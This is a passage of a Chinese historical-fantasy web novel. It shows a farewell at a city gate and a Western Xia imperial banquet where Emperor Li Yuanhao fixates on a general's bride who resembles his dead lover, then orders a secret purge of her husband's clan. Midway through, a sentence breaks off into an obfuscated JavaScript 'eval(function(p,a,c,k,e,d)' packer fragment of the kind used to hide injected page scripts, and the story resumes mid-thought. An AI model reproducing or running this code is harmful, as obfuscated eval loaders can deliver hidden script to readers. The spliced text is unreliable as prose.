一下子更加激动了,他猛地扒住垛口,半个身子都快要探了出去,拼命地挥舞着小手,尽管他心里明白,在这高高的城楼角落,在这喧嚣的人海与浩荡的仪仗之中,他的父亲根本不可能看见这微不足道的告别。但他还是用力地挥着,仿佛这样就能将自己的力量与祝福传递过去。 下方,端坐马上、即将踏出城门的耶律皓南,在礼官唱喏的余音尚未完全散去时,仿佛心有灵犀般,极快地、几不可察地微微侧了侧首。他的目光如同两道穿透一切障碍的锐利闪电,精准地扫过高高的西城门楼,落在了那片被角楼投下的深沉阴影之中。 他的视线,与杨排风那双含着未干泪光、却努力绽放出一丝笑意的眼眸,在空中短暂地、无声地——一触即分。 快得如同晨风拂过柳梢,恍若错觉。 随即,他便恢复了国师应有的威严与平静,目视前方,策马随着队伍,稳稳地踏出了盛京高大的城门,将身后的繁华、喧嚣、以及……所有的牵挂,渐渐抛在身后。 唯有他那只握着缰绳、藏在宽大官服袖中的手,在无人看见的角落,指节因为过度的用力而深深凹陷,手背上的青筋隐隐浮现,泄露了他心底那无法言说、亦不能表露的——滔天波澜与不舍。** 凌霄子将这一切尽收眼底。他无声地叹了口气,大手一伸,将还在徒劳挥手、眼巴巴望着父亲背影消失在城门洞外的刘朔,轻轻地、却不容抗拒地捞了回来。同时,另一只手,轻轻地、带着安抚力量地拍了拍杨排风微微颤抖的肩膀。 “行了,看也看了,送也送了。” 他的声音里,是褪去了所有戏谑与玩世不恭后,属于长辈的、沉稳可靠的安慰,“回吧,丫头。这盛京城楼上的风大,吹久了……头疼。” “家里……” 他顿了顿,目光扫过她依旧平坦的小腹,又看了眼身边依旧望着城门方向、有些怅然若失的刘朔,“一老一小,还都得靠你撑着呢。” 杨排风最后望了一眼那已经空荡荡的城门洞,以及城外官道上渐行渐远、最终化为一条细线、融入天地交接处的仪仗烟尘。 她将手中那个温暖的手炉,更紧地、小心翼翼地贴在自己的小腹之上。那里,是新的希望,也是他们之间斩不断的联系。 深吸一口气,将所有的担忧、不舍、酸楚,连同那份深沉的期待,一起缓缓压入心底最深处。 春寒依旧料峭,城楼上的风吹得人衣袂翻飞,发丝凌乱。 但总有一丝暖意,来自手中的炉,来自腹中的生命,来自身边老少的依靠,也来自那枚藏在袖中、带着茶香与体温的杏花……在看不见的地方,默默地、坚韧地维系着,等待着,守护着。 她点了点头,声音轻却坚定:“嗯,回吧。” 14. 杀机重重 西夏兴庆府·重霄殿夜宴 三十六盏以成年白驼峰顶最纯净油脂熬炼、混入南海龙涎香屑制成的驼脂长明灯,煌煌如昼,高悬于重霄殿绘满《金刚顶经》曼荼罗彩绘的藻井之下。火焰稳定,毫无摇曳,将这座西夏皇宫最核心的殿堂映照得纤毫毕现,金碧辉煌,每一寸鎏金装饰、每一片彩绘琉璃,都反射出一种冰冷、炫目、近乎暴烈的奢华光芒,压迫着殿中每一个人的感官与心神。 大殿中央,那座高达九尺、以整块祁连山墨玉雕琢而成的青铜兽首祭台上,一头精心烤炙、外皮已呈诱人金褐色、滋滋冒着油花的整只羔羊,正散发着浓烈霸道的焦香。这香气与祭台四角青铜狻猊香炉中袅袅升腾的、用西域没药、安息香与雪山檀木混合而成的青色烟雾相互纠缠,氤氲成一片馥郁、暖热、却隐隐透着祭祀般神秘与不祥的诡谲雾霭,弥漫在空气里,钻入每个人的口鼻肺腑。 御座高踞于九级汉白玉台阶之上,李元昊 斜倚在一张铺着完整雪原白狼王皮的宽大王座中。他未着正式的冠冕礼服,只一身玄色绣金蟠龙常服,长发以一根看似朴素的白玉簪束在脑后,几缕不羁的发丝垂落额前。然而,他指间随意把玩着的那只赤金酒樽,杯壁上却以阴刻手法,密密麻麻地镌满了扭曲、诡异、散发着不祥气息的暗红色符文——那正是他耗费无数心血、以当年宋辽天门阵残骸为根基,融汇了早已失传的古穆默氏萨满秘术,穷究生魂煞气,新近炼成的、威力与邪异更胜天门阵十倍的——“天魔阵”核心图腾!符文在灯光下幽幽反光,仿佛有活物在其中缓缓蠕动,吸摄着殿中的暖香、酒气、乃至人心底最隐秘的欲望与恐惧。 殿下,按党项八大著姓部落分席列坐的贵胄、将领、重臣,衣香鬓影,推杯换盏,表面一片笙歌鼎沸,君臣同乐的盛世华宴景象。 然而,暗流,早已在这浮华的表面之下,无声涌动,冰冷刺骨。 野利部的席位最为靠近御阶,狼头纛旗矗立席侧,象征着皇后母族、太子外戚、执掌西夏近半精锐“铁鹞子”的无上权势。可就在这充满彪悍草原气息的旗帜旁,案几上却赫然摆着一套釉色温润、器型典雅的北宋定窑青瓷酒具,与周围的党项金银器皿格格不入。那是野利部大将、皇后之弟野利遇乞的心爱之物,传言是他某次大破宋军后,从一名宋军文官俘虏的行囊中所得,爱不释手。此刻,这瓷器在驼脂灯下流转着幽静的光,无声地彰显着主人对敌国文化的微妙欣赏,亦刺痛着某些极端崇尚党项旧俗的贵族眼睛。 细封氏席前,辽国上京匠人精心打制的雕花银质马奶壶在火光下闪烁,壶身镶嵌的绿松石与红珊瑚,炫耀着与北方强邻辽国密切的贸易与私下往来。细封族长正与邻席的往利族长高声谈笑,互相拼酒,看似亲热无间。然而,若有心人细看,便能发现两人眼底都毫无笑意,只有冰冷的审视与算计。三十年前,为争夺祁连山南麓最丰美的夏季牧场,细封与往利两部曾血战经年,积尸断流,仇恨早已深入骨髓。此刻的把酒言欢,不过是政治舞台上必需的虚伪表演。 没藏部的席位隐在稍暗的殿角,国相没藏讹庞独自踞坐,慢条斯理地切割着盘中炙肉,目光却似有似无地,掠过御座上的帝王,扫过对面显赫的野利家席,最终落在殿中往来穿梭的宫人、乐师身上,深沉难测。他的妹妹,新近嫁与野利遇乞的没藏氏,此刻正安静地坐在夫家的席位上,低眉顺目,仿佛一尊精美而无生气的瓷偶。 空气中弥漫的,不只是酒肉香气与没药青烟,更有权力的腥甜、欲望的灼热、猜忌的冰寒,以及历史积怨发酵出的、若有若无的血腥气。每个人都在笑,每个人的手都可能按在隐于袍下的刀柄上。这是一场盛宴,更是一场无声的战争与试探。 宴至酣处,宫奴按《天盛律令》中赐婚谢恩的仪轨,恭敬捧上鎏金托盘,盘中是一只盛满猩红酒液的犀角杯——“血盟酒”,象征君王赐予臣下血脉相连的荣宠与不容背叛的誓约。 野利遇乞携新婚妻子没藏氏,离席上前,行至御阶之下,准备叩谢天恩。 李元昊漫不经心地伸出手,从身旁内侍捧着的玉盘中,拈起一根样式古朴的银簪。那银簪并无过多纹饰,只在簪头雕了一朵将谢未谢的玉兰,工艺略显粗糙,与这满殿奢华格格不入。这是顾小怜的遗物,是她当年留在他身边为数不多的贴身之物之一。簪尖上,还隐约可见一丝已变为黑褐色的陈年血渍——那是天魔阵初开,煞气反噬,她为护他而受伤所留。 他用簪尖,轻轻搅动着犀角杯中浓稠如血的酒液,目光空洞地落在旋转的酒涡中,仿佛透过它,看向某个遥远的、血色弥漫的过去 就在此时—— 没藏氏依礼抬首,准备谢恩。 殿顶一盏驼脂灯的火苗,恰在此时微微一跳,跃动的光晕掠过她低垂后扬起的脸庞。 李元昊 搅动酒液的手,猛地僵住! “铿!” 一声短促刺耳的金属撞击声!那根银簪,竟被他无意识中骤然爆发的力道,硬生生刺穿了厚实的犀角杯底,将酒杯牢牢钉在了托盘之上!猩红的酒液顺着簪身汩汩渗出,染红了金盘。 所有人的目光,瞬间聚焦过来。 然而李元昊 浑然不觉。他的全部心神,都被眼前这张脸牢牢攫住! 烛火下,那张脸—— 右颊靠近眼角处,一粒极浅的褐色小痣;唇形饱满,唇珠微微上翘,轻抿时带着一种天然的、略带倔强的弧度;尤其是左侧耳垂下方,那一道月牙状的、颜色略浅的旧疤痕…… 那是当年,在荒原上,还是少年“苦儿”的他被狼群围攻,顾小怜不顾一切冲上来护住他,被头狼利爪划过耳际所留下的!他清晰地记得,那血珠如何顺着她莹白的颈项滑落,记得她痛得蹙眉却仍对他笑说“没事”的样子! 不可能!世上绝无可能有如此相像之人!连这等隐秘的旧疤都…… 还没完! 野利遇乞已经开口,声如洪钟,打破了殿中诡异的寂静:“臣野利遇乞,携妻没藏氏,叩谢陛下赐婚恩典!”说着,便要拉着妻子一同跪下。 就在此时,没藏氏似乎因为紧张,下意识地伸出手,轻轻握了握丈夫宽厚粗糙的手掌,手指无意识地在他掌心那厚重的刀茧上,来回摩挲了两下。 这个细微的、充满依赖与安抚意味的小动作,如同一道最猛烈的闪电,劈开了李元昊记忆最深处的冰封! 雪洞!濒死的寒冷!顾小怜将冻僵的他紧紧抱在怀里,不停地搓着他生满冻疮的手,手指就是这样,无意识地、温柔地摩挲着他手上那些粗糙的伤口与老茧,喃喃说着:“苦儿,忍一忍,忍一忍就好了……” 喉间骤然涌上一股浓烈的腥甜!李元昊 眼前发黑,几乎要站立不稳! 顾小怜自刎后,他在现场悲痛欲绝,却莫名昏厥。醒来时,她的尸身竟已神秘消失,只剩地砖上一滩尚未完全凝固的暗红血迹,以及……半截带血的断簪。他疯狂搜索了整个皇宫乃至兴庆府,却毫无踪影,仿佛她从未存在过。这成了他心头最深的谜与痛。 而此刻,这个女人,顶着一张与顾小怜一模一样的脸,带着她所有的细节与习惯,竟然……在他眼前,对着另一个男人,上演着“伉俪情深”! 这是什么?是最恶毒的嘲弄?还是……她根本就没死,只是以一种他无法理解的方式“活”了过来,却选择了忘记他,投入别人怀抱? 乐师似乎察觉到御前气氛的凝滞,慌忙奏起了欢快的《柘枝舞》曲。旋律响起,几名舞姬翩翩入场。也许是为了缓和气氛,也许是出于女子天性,没藏氏竟也随着乐声,轻轻地、不自觉地旋转了一下身体,宽大的裙裾如同盛开的墨色花朵般荡开,一头如瀑的黑发也随之飘散。 那旋身的弧度,那发丝飞扬的轨迹…… 李元昊 的指节,死死抠进了白狼皮王座扶手的硬木之中,发出“嘎吱”的轻响! 这舞姿!分明是当年,顾小怜在月下,一边哼着党项古老的民谣,一边手把手教他跳的、用以祈福祛灾的——部落祭舞!当时他还嘲笑她动作笨拙像只小羊羔! 疑窦,在这一刻,疯狂滋长,扭曲,化作一种几乎令他窒息的确信! “哈!” 他突然暴喝一声,猛地抽出腰间佩戴的、用来割肉的镶宝匕首,寒光一闪,竟从祭台上那只烤全羊身上,狠狠削下一大块连皮带骨、还在滴着滚烫油脂的——羊肩肉! 然后,在所有人惊愕的目光中,他将那块肉,用力掷向御阶下的野利遇乞! “砰!” 肉块沉重地砸在野利遇乞面前案几上那只珍爱的宋瓷青玉碟中,碟子应声碎裂!滚烫的羊油与血水四处迸溅,几点腥腻的油星,正好溅上了没藏氏素白的绢衣袖口,晕开一小片刺目的污渍。 “啊!” 没藏氏受惊,低呼一声,下意识地抽手后缩。 就在她抬腕的刹那—— “叮铃……” 一声极其清脆、细微的铜铃声,从她腕间传出。只见她雪白的手腕上,系着一根看似普通的红绳,红绳上,缀着一枚小巧的、已有些年头的——黄铜铃铛。 合欢铃! 李元昊的瞳孔骤然缩成针尖!浑身的血液仿佛在这一瞬凝固! 那是顾小怜当年最珍爱的饰物,是她母亲留下的唯一遗物。她曾笑着对他说,这铃铛是“姻缘铃”,铃响,便是良人在侧。她自刎那日,手中紧紧攥着的,就是这枚铃铛!后来铃铛与她的尸身一同消失…… 而此刻,它竟出现在这个女人腕上! “陛下?” 野利遇乞脸色骤变,按住腰间刀柄,霍然起身!眼中已是怒气与不解。帝王掷肉,可以视为“赏赐”,但这般粗暴的方式,分明是带着极大的侮辱与怒意! 然而,就在他即将发作的瞬间,身旁的没藏氏却轻轻地、几不可察地,拉了拉他的衣角。那动作很小,带着一种小兽般的惊惶与哀求,仿佛在说“不要冲动”。 这个瑟缩的、保护性的姿态…… 李元昊眼前,再次浮现出当年宋军斥候队伍发现他们藏身之处,刀剑相加时,顾小怜毫不犹豫地张开双臂,将他这个“小野人”护在身后,挺直了同样单薄的脊梁,对着那些凶神恶煞的宋兵厉声呵斥的画面…… “哈哈哈哈!” 一阵突如其来的、充满癫狂意味的大笑声,从御座上爆发出来!李元昊笑得前仰后合,笑得眼泪都快出来,笑声在空旷的大殿中回荡,说不出的诡异与可怖。 “好!好一双……佳偶天成!郎才女貌!情深意重!” 他一边笑,一边拍着王座扶手,“赏!重赏!” 然而,在那宽大的玄色袍袖掩盖下,他的另一只手,已经悄然握住了袖中暗藏的、以天魔阵核心煞气温养的黑曜石罗盘。下一刻,“咔嚓”一声极其轻微的碎裂声,那坚硬无比的罗盘,竟被他硬生生捏成了齑粉!粉末从他指缝间洒落,混入地毯,无人察觉。 他终于“确信”了。 小怜没死。 她只是……忘了他。或者,是被人以某种方式控制、利用了。而眼前这场婚姻,野利遇乞得到她,就是对他李元昊、对他这个西夏皇帝最大的嘲弄与挑衅! 疯狂的念头与冰冷的计算,在他心中疯狂搅动。他要夺回她!不惜一切代价!而野利遇乞,这个掌握兵权、功高震主的妻弟……正是最好的祭品与踏脚石! 御前的风波,似乎被李元昊那阵癫狂的大笑掩盖了过去。野利遇乞在妻子的暗示与帝王的“赏赐”下,勉强压下怒火,重新坐下,但脸色依旧铁青。没藏氏则垂着头,小心翼翼地用帕子擦拭袖口的油渍,身体微不可察地颤抖着,仿佛一只受惊过度的雀鸟。 然而,殿中的气氛,已经彻底不同了。所有人都感受到了那种山雨欲来的压抑。 野利部席角,野利遇乞猛灌了一大口烈酒,试图浇灭心头的怒火与不安。他不是蠢人,陛下今日的举动处处透着诡异,尤其是看向自己妻子的眼神……那绝不是君王看臣妻的眼神!那里面翻涌的东西,让他这个见惯生死的悍将都感到一丝心悸。 他身旁,没藏氏垂着头,似乎在专心剥一颗葡萄。莹白的手指拈着紫色的果皮,动作轻柔。然而,若有人细看,便会发现,她的指尖在光滑的案面上,无意识地、缓缓划动着。那痕迹,初看杂乱,但若连起来……赫然是三道特定的、带着某种古韵的弧线! 那是——西夏文的“忍”字! 而这个字,当年,正是顾小怜在教还是“苦儿”的李元昊识字时,握着他的手,在沙地上一笔一划写下,并告诉他:“在这世上,有时‘忍’不是怯懦,是为了活下去,为了等待。”的——那个字! 这一幕,清晰地落入了一直用眼角余光紧紧锁定他们的李元昊眼中! 他的瞳孔,再次骤缩!心脏狂跳! 暗号!这定然是小怜在向他传递的暗号!她定是被野利家控制,无法自由言语,只能用这种方式向他求救! 怒火、心疼、以及一种被背叛的疯狂杀意,在他胸腔中烈焰般灼烧! 与此同时,没藏部席位的阴影中。 国相没藏讹庞始终保持着一种沉静的姿态。他执起面前的金壶,为自己缓缓斟满一杯酒。酒液注入杯中,漾开一圈又一圈的涟漪。一、二、三……九。恰好九圈。 九,在天魔阵的阵图中,代表“九狱噬心”的核心阵眼之数。 他抬起眼,目光似乎不经意地,与御座上正好望过来的李元昊的目光,在空中短暂地——一撞! 没藏讹庞立刻恭敬地、谦卑地垂下了头,示意臣服。然而,在低头的瞬间,他的手指极快地、借着袍袖的掩护,将一枚不知何时藏在掌心的、刻满细密符文的惨白色骨制符箓,悄然滑入了自己的袖袋深处。那骨符的形状,隐约像是一截……指骨。 细封氏与往利氏的席位,气氛同样微妙。 两位族长仍在拼酒,笑声洪亮。然而,细封族长突然放下酒杯,拍着桌案,用一种苍凉沙哑的嗓音,高声唱起了一支党项古老的民谣。曲调悲怆,歌词晦涩,讲述的是部落先祖在大雪山中与天地、与仇敌搏杀,最终全族覆没的悲壮故事。这歌声,在此刻欢庆的宴会上,显得格格不入,甚至……带着几分不祥的葬歌意味。 往利族长听着,脸上的笑容渐渐敛去。他猛地一拍桌案,不是附和,而是用力一击!“砰”的一声,将面前一只盛满石榴籽的玉碟震得跳起,碟中鲜红如血的石榴籽迸溅出来,洒了一桌,宛如点点血珠。 三十年前的血仇,从未真正消弭。此刻,借着酒意,借着这诡异的气氛,那深埋的恨意仿佛找到了一个宣泄的缝隙。两人对视,眼中再无半分笑意,只剩下冰冷的、淬着毒的——审视与杀机。 宴会,在这种表面欢庆、内里剑拔弩张的诡异气氛中,接近尾声。 宴散人去,重霄殿重归空寂。奢华的灯火依旧通明,照着满地狼藉的杯盘与冷却的食物,空气中残留的酒气、肉香、脂粉味与没药的苦涩混杂在一起,令人窒息。 李元昊独自留在殿中。他挥退了所有内侍宫人,甚至连隐在暗处的影卫也被他以可怕的气势逼退。 他走下御阶,来到大殿中央。伸手,“嗤啦”一声,竟从旁边巨大的蟠龙金柱上,扯下一幅沉重的明黄色绣金龙帷帐!然后,他俯身,以指蘸着地上倾洒的、尚未完全干涸的酒液,在光洁如镜的青石地面上,开始飞快地勾画。 线条粗犷,却异常精准。山川、河流、关隘、城池……一幅详尽的入侵北宋边境的军事路线图,逐渐呈现。他的目光冰冷而专注,仿佛在进行一场最神圣的祭祀。 最后,他从发髻上拔下那根顾小怜的银簪,将其轻轻地、郑重地,插在了地图顶端,宋境腹地的位置。簪尖上那点干涸的血渍,在灯下显得格外刺目。 “小怜……” 他伸出手,指腹极其轻柔地抚过簪身,尤其是那点血渍,声音低哑,带着一种病态的温柔与偏执,“你看见了吗?” “你既然选择用这种方式……回到朕身边,又用这种方式逼朕清醒……” “那朕……便如你所愿。” “待朕挥师东进,屠尽宋人,让汴京城头插满我大夏狼旗,让百万宋人冤魂的哀嚎响彻天地之时……” 他的声音渐渐变得森冷,如同地狱吹来的寒风,“朕倒要看看,到了那时,你是否还能……躲在野利遇乞的身后,对朕视而不见!” 就在此时—— “报——!” 殿外传来急促的马蹄声与探子高亢的呼报!“辽国和亲队伍,距我兴庆府尚有十日路程!” 李元昊眉头一皱,辽国和亲?此时此刻,这消息无异于在他沸腾的杀意上又浇了一勺热油!他暴怒地一脚踹翻身旁的酒案,杯盘碎裂,酒液横流! 然而,就在他转身的刹那,目光掠过殿角一面巨大的铜镜时,身形却猛地顿住。 铜镜光洁的边缘,不知何时,挂上了一方素白的丝帕。帕子的一角,绣着一朵小小的、淡紫色的玉兰花。 那是……没藏氏方才用来拭擦袖口油渍的帕子?何时遗落在此? 李元昊走过去,伸手取下丝帕。帕子质地柔软,带着女子身上特有的淡淡体温与……一缕极其熟悉的、清冷幽远的熏香气息。 这香气…… 他的身体,再次剧烈地颤抖起来!这香,是顾小怜当年最爱用的、亲手调配的“雪中春信”!市面上绝无仅有! 他将丝帕紧紧按在自己的心口,仿佛那里有一个巨大的、永远无法愈合的窟窿,需要用这熟悉的气息来填补。 恍惚间,耳畔似乎又响起了当年在天魔阵即将完成、煞气最盛之时,顾小怜泪流满面、绝望地抓着他的手,泣不成声的哀求: “苦儿……苦儿!求你了,停手吧!” “若……若你肯放下这些杀孽,放下复仇,我……我便抛下一切,什么都不要了,陪你归隐……去一个没有人认识我们的地方……好不好?” 当时的他,只是嗤之以鼻,认为那是妇人之仁,是痴人说梦。他的眼中,只有即将成功的狂喜与征服天下的野心。 而此刻…… 对着空荡荡、充斥着奢靡与冷寂的大殿,对着手中这方带着熟悉气息的丝帕,他竟然……低声地、喃喃地,重复了当年未曾给出的回答: “原来……你试过……” “用最痛的方式……点醒我……” 声音低微,消散在空气中,无人听见。唯有铜镜中,映出他那张因为极致的情绪冲击而略显扭曲、眼底却燃烧着更加疯狂与坚定火焰的——脸庞。 殿角的更漏,滴下最后三颗水珠,铜壶发出沉闷的“咚”声,在空寂的重霄殿内回荡,宣告着子时的到来。 夜,还很长。 风暴,才刚刚开始酝酿。 ______ 殿角的更漏,滴下最后三颗浑圆的水珠,“咚、咚、咚”,撞击在下方的铜壶底部,发出三声沉闷而孤寂的回响,在空荡荡、只余残羹冷炙与狼藉的重霄殿内久久回荡,仿佛在为刚才那场诡谲疯狂的夜宴敲响休止符,又似在为即将到来的某种未知鸣响序曲 李元昊指间那方素白的丝帕,悄然滑落,飘摇着坠在冰冷的青石地面上,如同一片凋零的玉兰花瓣。他垂首,目光空洞地凝视着自己的掌心——那里仿佛还残留着丝帕的温度与熟悉的熏香,以及……方才那一瞬间涌上心头的、几乎要将他淹没的脆弱与恍惚。 然而,这种情绪只持续了极短的刹那。 如同被冰水猝然浇透,他眼中所有的癫狂、迷乱、恍惚、乃至那丝不该属于帝王的柔软,如同退潮般迅速消失得干干净净。取而代之的,是一种更深的、如同祁连山万年玄冰般的——金属质感的冰冷。那冰冷迅速覆盖了他的眼眸,他的面容,乃至他的整个人。 他缓缓地、一寸寸地直起身。脊背挺直如枪,再无半分方才斜倚王座时的慵懒与颓唐。他走到那张被他暴怒之下踹翻的酒案前,伸出手,动作稳定得没有一丝颤抖,将沉重的案几扶正。然后,他俯下身,将散落在地、已成碎片的青玉碟残骸,以及倾洒一地、渗入地毯形成深色污渍的酒液,一一拾起、归拢。他的目光扫过这些狼藉,眼底却映不出半点波澜,仿佛在处理与自己毫不相干的杂物。 最后,他拾起了那方丝帕。不是紧紧按在心口,而是用两根手指拈着,在灯下展开,目光冷静地审视着上面那朵淡紫的玉兰绣纹,以及……袖口溅上的那点微不可察的羊油污渍。然后,他将丝帕仔细地折叠成一个整齐的方块,动作一丝不苟,如同一位久经沙场的将领,在大战前夜最后一次检查、抚平自己贴身铠甲的每一片甲叶。 折好的丝帕,被他放入了玄色龙袍内侧、最贴近心口的暗袋之中。不是用来缅怀,而是作为一件“证物”,一个“提醒”,一枚……即将用以搅动风云的棋子。 他不再是那个对着铜镜喃喃自语、沉浸在过去幻影中无法自拔的“苦儿”。 他是西夏的皇帝,李元昊。是那个从尸山血海中爬出、踏着无数兄弟与敌人的骸骨登上至尊之位的枭雄。情爱痴念,可以是他疯狂的理由,但绝不会是他判断与行动的障碍。相反,它们将被淬炼成最锋利的武器,为他的权力与征服之路扫清一切。 他的目光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这念头如同最剧毒的藤蔓,缠绕上他的心脏,带来一种混杂着尖锐痛楚与极致快意的战栗。他的嘴角,几不可察地勾起一抹冰冷的、残酷的弧度。 殿外,传来刻意放得极轻、却依旧能被他敏锐捕捉到的脚步声。是值夜的内侍,在等候吩咐,亦是在窥探殿内这位刚经历了情绪起伏的帝王的动静。 李元昊 深吸一口气。空气中残留的暖香、酒气、血腥味,混合着冷寂,被他一并吸入肺腑,化作冰冷的力量。他伸手,从地上拔起那根顾小怜的银簪,用袖角擦去其上沾染的灰尘与酒渍,然后,稳稳地、重新插回自己束发的玉簪之旁。接着,他抚平玄色龙袍上因方才激动而产生的每一丝皱褶,动作从容,一丝不苟。 当他再次抬眼时,眸中所有的个人情绪已经荡然无存,只剩下帝王特有的、深不见底的沉静、冰冷与……算计。那是一双能将山河踏于足下、将生灵视作棋子的眼睛。 “传令。” 他开口,声音平稳得不带一丝情绪的波澜,在空旷寂静的大殿中却字字清晰,如同冰珠坠落玉盘,带着一种不容置疑的力量。 “三日后,朕于议政殿,单独召见大将军野利遇乞。” “询问盐州边防近况,以及……近年边境屡有宋谍细作渗透一事,着其详细陈奏,并自陈防务疏漏之责。” 这是第一步,公开的、冠冕堂皇的试探与施压。在所有重臣面前,将“宋谍”与“盐州防务”这两个敏感词,明确地扣在野利遇乞头上。 “着‘谏司’都统,会同‘铁鹞子’副统军,即刻起,密查野利部近五年来,所有与宋境人员、商队、文书往来之记录。” “凡有可疑人证、物证、书信,一律密捕、密审,事无巨细,直接报朕知晓。不得惊动外朝,尤其是……后宫。” 这是第二步,也是真正的杀手。动用皇帝直属的特务与最精锐的亲军,绕开一切常规官僚体系,对野利家进行最深入、最隐秘、也最可怕的调查。“不得惊动后宫”,更是直指野利皇后,防止她利用后族势力干预或通风报信。 “是。” 殿外,传来内侍恭敬而略带紧张的应诺。显然,即使隔着殿门,他也感受到了这几道命令背后蕴藏的可怕风暴。 “还有,” 李元昊顿了顿,指尖无意识地摩挲着袖中那方丝帕的细密纹路,眼中掠过一丝更深的幽光,“赐野利将军夫人——没藏氏,宫中行走令牌。” “准其……随时入宫。” “向皇后请安,或……” 他的声音压得更低,带着一种刻意的、令人不安的停顿,“若有冤情、隐衷,亦可直接向朕陈情。朕……愿听其言。” 这是第三步,也是最毒辣的一步。“宫中行走令牌”,表面是无上恩宠,是对重臣家眷的信任与亲近。实则,这是一道明升暗降的紧箍咒,是一张无形的监视网。没藏氏从此将被置于皇宫这座最大囚笼的随时监控之下,她的一举一动,与何人接触,都将暴露在帝王眼底。同时,这也是一个赤裸裸的诱饵与离间计——“向朕陈情”,这句话本身就会在野利遇乞心中种下怀疑的种子:陛下为何独独对自己的妻子如此“关切”?她会不会背着自己向陛下说些什么? 他要看着“她”惊慌失措,看着“她”在皇权与夫家之间艰难挣扎。更要看着野利遇乞在这种日复一日的猜忌、恐惧、帝王隐隐的恶意与妻子身份尴尬的夹缝中,步步走入他精心设计的绝境。 风暴的种子,已被这位从痴念中迅速抽身、重归冷酷理智的帝王,亲手埋下。土壤是西夏朝堂的权力倾轧,养分是积年的猜忌与各部恩怨,而引爆它所需的火星……或许,就是那枚合欢铃的轻响,或是案上一个无意划出的“忍”字。 与此同时,虽然御座之上的帝王已下达了关乎生死的密令,但重霄殿内的宴席,并未真正散去。丝竹之声已从高亢的颂歌转为低回婉转的背景音乐,如同暗流在殿中缓缓涌动。大多数贵胄、官员并未立刻离席,而是三两两聚在一处,举着酒杯,“热络”地交谈着。然而,若有心观察,便能发现他们的眼风总是不由自主地、迅速地扫向高高在上的御座方向。虽然此时御座已空,但余威犹在,又像被烫到般急忙移开,生怕与其他人探究的目光撞上。每个人的脸上都挂着笑,但那笑容背后,是紧绷的神经、飞快运转的心思,以及对未知风险的本能戒备。 凤座之上,野利皇后手中那只镶满宝石的金盏,已不知有多久未曾动过。盏中琥珀色的葡萄美酒,在灯下漾着冰冷的光泽,映出她那张保养得宜、此刻却微微发白的脸。 她是太子宁令哥的生母,是野利遇乞的亲姐,更是在这后宫与前朝的惊涛骇浪中挣扎求存多年、最了解自己丈夫——那位帝王——的女人之一。 方才御前那惊心动魄的一幕幕——陛下掷肉时眼中的暴戾,弟弟按刀而起时的怒气,尤其是……李元昊看向弟媳没藏氏时,那一闪而逝的、几乎要将人吞噬的疯狂占有欲与偏执——如同最锋利的冰锥,狠狠刺进了她的眼底,扎入了她的心脏! 又是这种眼神! 多年前,那个名叫顾小怜的宋女出现在陛下身边时,他的眼中就曾燃起过类似的、足以焚毁一切理智的光芒。那光芒最终导致了一场惨烈的自刎,而陛下也从此变得更加阴郁、暴戾、难测。那段日子,是整个后宫乃至前朝的噩梦。 如今,这张几乎与顾小怜一模一样的脸孔,竟然再次出现!而且,是以弟弟野利遇乞新婚妻子的身份! 这绝对不是巧合! 野利皇后的心脏,在华丽繁复的翟衣之下沉重地跳动着,每一下都带着不祥的预感。弟弟野利遇乞手握重兵,性子刚直烈火,在军中威望极高,本就是那些忌惮野利一族的人,包括皇帝本人的眼中钉。如今,再加上没藏氏这张脸所引发的帝王疯狂执念…… 后果不堪设想! 这不仅关乎弟弟的性命,更关乎她儿子宁令哥的太子之位!野利一族是她与太子在朝中最坚实、也几乎是唯一的政治后盾。一旦野利遇乞倒下,野利部势力被清洗,那么东宫之位必然动摇。那些虎视眈眈的妃嫔、那些觊觎储位的皇子,尤其是那几个生母出身其他大部的,以及……对面席间那位始终含笑、眼神莫测的国相没藏讹庞,都会像嗅到血腥的狼群一样扑上来! 她不能坐以待毙。 微微侧首,她对身后一名心腹侍女低语,声音轻得几乎淹没在殿中残存的乐声里,但每个字都透着决断:“宴后,立刻去东宫,告诉太子,就说本宫有极要紧的事与他相商,请他无论如何抽身过来一趟。” “还有……” 她的目光状似无意地扫过对面席间。那里,国相没藏讹庞正与一位细封部的贵族谈笑风生,手中把玩着酒杯,神态从容,仿佛完全没有受到方才御前风波的影响。但野利皇后知道,这位国相,绝不像表面看上去那般与世无争。他将妹妹嫁入野利家,本就存着联姻结盟、扩张没藏部影响力的用意。如今妹妹因为这张脸可能引发滔天祸事,他会是何种态度?是弃车保帅,还是……趁火打劫,甚至落井下石? “派人,留意国相府的动静。” 她的声音更冷了几分,“尤其是,国相今夜回府后,与何人会面,有何举动……尤其是,他对今夜殿中之事,有何反应。” 侍女神色凝重,无声地点了点头,悄然退入身后的阴影之中,如同一滴水融入大海,未引起任何人的注意。 野利皇后重新端起金盏,送至唇边,却并未饮下。她的目光穿过晃动的、冰冷的酒液,投向远处。那里,她的弟弟野利遇乞似乎已从方才的怒气中平复下来,正与几位同为军中悍将的同僚豪饮,笑声洪亮,对即将到来的灭顶风暴似乎毫无所觉。而他的身边,那位新妇没藏氏,依旧低眉顺目,安静地坐着,偶尔为丈夫斟酒,动作温婉。然而,在野利皇后眼中,这个女人的身影,已与一场可怕的漩涡紧紧缠绕在一起。 殿内灯火依旧通明如昼,暖香依旧袅袅缭绕,笙歌依旧隐约可闻。 但一股来自灵魂深处的、山雨欲来的刺骨寒意,已悄然渗透了每一寸空气,钻入每一个敏感者的骨髓。所有人都在笑,所有人都在谈,但所有人的心,都已紧紧绷起。 宴会仍在继续,至少表面上如此。 但真正的宴席——那场以权力、阴谋、鲜血与生命为筹码的疯狂豪赌,似乎……才刚刚拉开帷幕。 每个人都在暗中掂量着自己的筹码与位置,每个人都在谨慎地观望着他人的动向,每个人的心底,都已经或明或暗地,落下了属于自己的第一枚棋子。 棋盘已然铺开,纵横十九道,笼罩着整个西夏的天空。执棋者高踞御座,目光冰冷。棋子们各就各位,心怀鬼胎。 只待那只蕴含着疯狂执念与帝王杀心的手,落下那决定生死荣辱、掀起血雨腥风的——第一着。 15. 贺兰血 西夏兴庆府·辽国使团抵达 辰时三刻,宫门洞开 